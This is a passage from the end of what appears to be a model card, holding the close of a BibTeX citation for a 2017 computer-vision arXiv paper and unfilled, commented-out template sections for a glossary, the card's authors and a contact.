author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
year={2017},
eprint={1703.07737},
archivePrefix={arXiv},
primaryClass={cs.CV}
}
```
<!--
## Glossary
*Clearly define terms in order to be accessible across audiences.*
-->
<!--
## Model Card Authors
*Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction.*
-->
<!--
## Model Card Contact
*Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors.*
-->